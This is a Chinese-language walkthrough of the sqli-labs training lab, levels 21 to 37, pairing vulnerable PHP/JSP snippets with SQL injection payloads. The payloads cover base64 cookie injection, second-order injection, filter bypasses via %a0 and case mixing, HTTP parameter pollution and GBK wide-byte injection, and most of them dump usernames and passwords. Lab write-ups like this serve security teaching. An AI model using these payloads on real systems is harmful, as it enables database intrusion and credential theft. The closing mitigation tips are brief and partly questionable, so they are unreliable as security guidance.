第二十一关:base64编码的cooki注入
YOUR COOKIE : uname = YWRtaW4= and expires: Tue 10 Mar 2020 - 03:42:09
注:YWRtaW4=是admin经过base64编码。
在uname=后面进行注入,每次注入需要进行base64编码。
payload:
') union select 1,2,3#
JykgdW5pb24gc2VsZWN0IDEsMiwzIw==
第二十二关:同二十一关,闭合符号改为双引号即可
第二十三关:过滤了注释符的报错注入
$reg = "/#/"; $reg1 = "/--/"; $replace = ""; $id = preg_replace($reg, $replace, $id); $id = preg_replace($reg1, $replace, $id); $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"
因为注释符被过滤了,id='$id'后面的单引号就需要我们使用一个单引号去闭合。
两种payload:
?id=-1' union select 1,(select group_concat(username,0x3a,password) from security.users),'3
?id=-1' union select 1,(select group_concat(username,0x3a,password) from security.users),3 or '1' = '
第二十四关:二次排序注入
首先admin账号的密码为admin,然后注册一个用户名为admin'#,密码123456的账户,再进行登录admin'#账号,最后就可以重新修改admin'#账号的密码为123。会发现admin账号的密码被修改为123了。
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
账号名admin'#代入sql语句,就会将后面的语句给注释掉。
第二十五关:过滤了or和AND的注入
$id= blacklist($id); function blacklist($id) { $id= preg_replace('/or/i',"", $id); $id= preg_replace('/AND/i',"", $id); return $id; }
payload:
?id=1' || updatexml(1,concat(0x23,database(),0x23),1)--+
?id=-1' union select 1,(select group_concat(username) from security.users),3--+
第二十五a关:25关的基础上没有单引号,且不能用报错注入而已。
payload:
?id=-1 union select 1,(select group_concat(username) from security.users),3--+
第二十六关
function blacklist($id) { $id= preg_replace('/or/i',"", $id); $id= preg_replace('/and/i',"", $id); $id= preg_replace('/[\/\*]/',"", $id); $id= preg_replace('/[--]/',"", $id); $id= preg_replace('/[#]/',"", $id); $id= preg_replace('/[\s]/',"", $id); $id= preg_replace('/[\/\\\\]/',"", $id); return $id; }
在25关的基础上,过滤的更多了。主要是空格的过滤。
%a0代表空格,但是在Windows无法识别%a0,需要在Linux系统下进行。当然,也可以尝试一些其他的符号。
payload:
?id=100'union%a0select%a01,(select%a0group_concat(username)%a0from%a0security.users),3||'1
第二十六a关
闭合的符号变为')而已。
payload:
?id=100')union%a0select%a01,(select%a0group_concat(username)%a0from%a0security.users),3||('1
第二十七关
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; function blacklist($id) { $id= preg_replace('/[\/\*]/',"", $id); $id= preg_replace('/[--]/',"", $id); $id= preg_replace('/[#]/',"", $id); $id= preg_replace('/[ +]/',"", $id); $id= preg_replace('/select/m',"", $id); $id= preg_replace('/[ +]/',"", $id); $id= preg_replace('/union/s',"", $id); $id= preg_replace('/select/s',"", $id); $id= preg_replace('/UNION/s',"", $id); $id= preg_replace('/SELECT/s',"", $id); $id= preg_replace('/Union/s',"", $id); $id= preg_replace('/Select/s',"", $id); return $id; }
这里采取大小写绕过。
payload:
?id=100'unIon%a0selECt%a01,(selECt%a0group_concat(username)%a0from%a0security.users),3||'1
第二十七a关
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1"; function blacklist($id) { $id= preg_replace('/[\/\*]/',"", $id); $id= preg_replace('/[--]/',"", $id); $id= preg_replace('/[#]/',"", $id); $id= preg_replace('/[ +]/',"", $id); $id= preg_replace('/select/m',"", $id); $id= preg_replace('/[ +]/',"", $id); $id= preg_replace('/union/s',"", $id); $id= preg_replace('/select/s',"", $id); $id= preg_replace('/UNION/s',"", $id); $id= preg_replace('/SELECT/s',"", $id); $id= preg_replace('/Union/s',"", $id); $id= preg_replace('/Select/s',"", $id); return $id; }
单引号闭合变为双引号而已。
payload:
?id=100"unIon%a0selECt%a01,(selECt%a0group_concat(username)%a0from%a0security.users),"3
第二十八关
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1"; function blacklist($id) { $id= preg_replace('/[\/\*]/',"", $id); $id= preg_replace('/[--]/',"", $id); $id= preg_replace('/[#]/',"", $id); $id= preg_replace('/[ +]/',"", $id); //$id= preg_replace('/select/m',"", $id); $id= preg_replace('/[ +]/',"", $id); $id= preg_replace('/union\s+select/i',"", $id); return $id; }
payload:
?id=100')union%a0select%a01,(select%a0group_concat(username)%a0from%a0security.users),3||('1
第二十八a关
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1"; function blacklist($id) { //$id= preg_replace('/[\/\*]/',"", $id); //$id= preg_replace('/[--]/',"", $id); //$id= preg_replace('/[#]/',"", $id); //$id= preg_replace('/[ +]/',"", $id); //$id= preg_replace('/select/m',"", $id); //$id= preg_replace('/[ +]/',"", $id); $id= preg_replace('/union\s+select/i',"", $id); return $id; }
payload(绕过union和select的过滤即可):
?id=100%27)unIon%a0selECt%a01,(selECt%a0group_concat(username)%a0from%a0security.users),3||(%271
第二十九关
两层服务器架构,攻击手段是HPP(http参数污染)。
第一层是tomcat,第二层是apache,返回数据的服务器是apache。
index.jsp
String rex = "^\\d+$"; Boolean match=id.matches(rex); if(match == true) { URL sqli_labs = new URL("http://localhost/sqli-labs/Less-29/index.php?"+ qs);
index.php
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
payload:
?id=1&id=-2'union select 1,(select group_concat(username,0x3a,password) from security.users),3--+
第三十关:29关的基础上,把单引号变双引号
$id = '"' .$id. '"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
payload:
?id=1&id=-2"union select 1,(select group_concat(username,0x3a,password) from security.users),3--+
第三十一关:30关的基础上,多一个括号
$id = '"'.$id.'"'; $sql="SELECT * FROM users WHERE id= ($id) LIMIT 0,1";
payload:
?id=1&id=-2")union select 1,(select group_concat(username,0x3a,password) from security.users),3--+
第三十二关
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; function check_addslashes($string) { $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string); //escape any backslash $string = preg_replace('/\'/i', '\\\'', $string); //escape single quote with a backslash $string = preg_replace('/\"/', "\\\"", $string); //escape double quote with a backslash return $string; }
gbk编码,当然首先就想到了宽字节注入。
payload:
?id=-1%df%27union%20select%201,(select%20group_concat(username,0x3a,password)%20from%20security.users),3--+
第三十三关
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; function check_addslashes($string) { $string= addslashes($string); return $string; }
payload同32关一样。
注:使用addslashes()函数,我们需要将mysql_query设置为binary的方式,才能防御此漏洞。
Mysql_query("SET character_set_connection=gbk,character_set_result=gbk,character_set_client=binary",$conn);
第三十四关
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
payload:
uname=-1%df' and updatexml(1,concat(0x7e,database(),0x7e),1)#&passwd=1&submit=Submit
第三十五关
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
payload(不知道这一关要干啥):
?id=-1 union select 1,user(),database()--+
第三十六关
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; function check_quotes($string) { $string= mysql_real_escape_string($string); return $string; }
payload:
?id=-1%EF%BF%BD%27union%20select%201,user(),3--+
?id=-1%df%27union%20select%201,user(),3--+
注:在使用mysql_real_escape_string()时,如何能够安全的防护这种问题,需要将mysql设置为gbk即可。设置的代码为:Mysql_set_charset('gbk','$conn')
第三十七关:同34关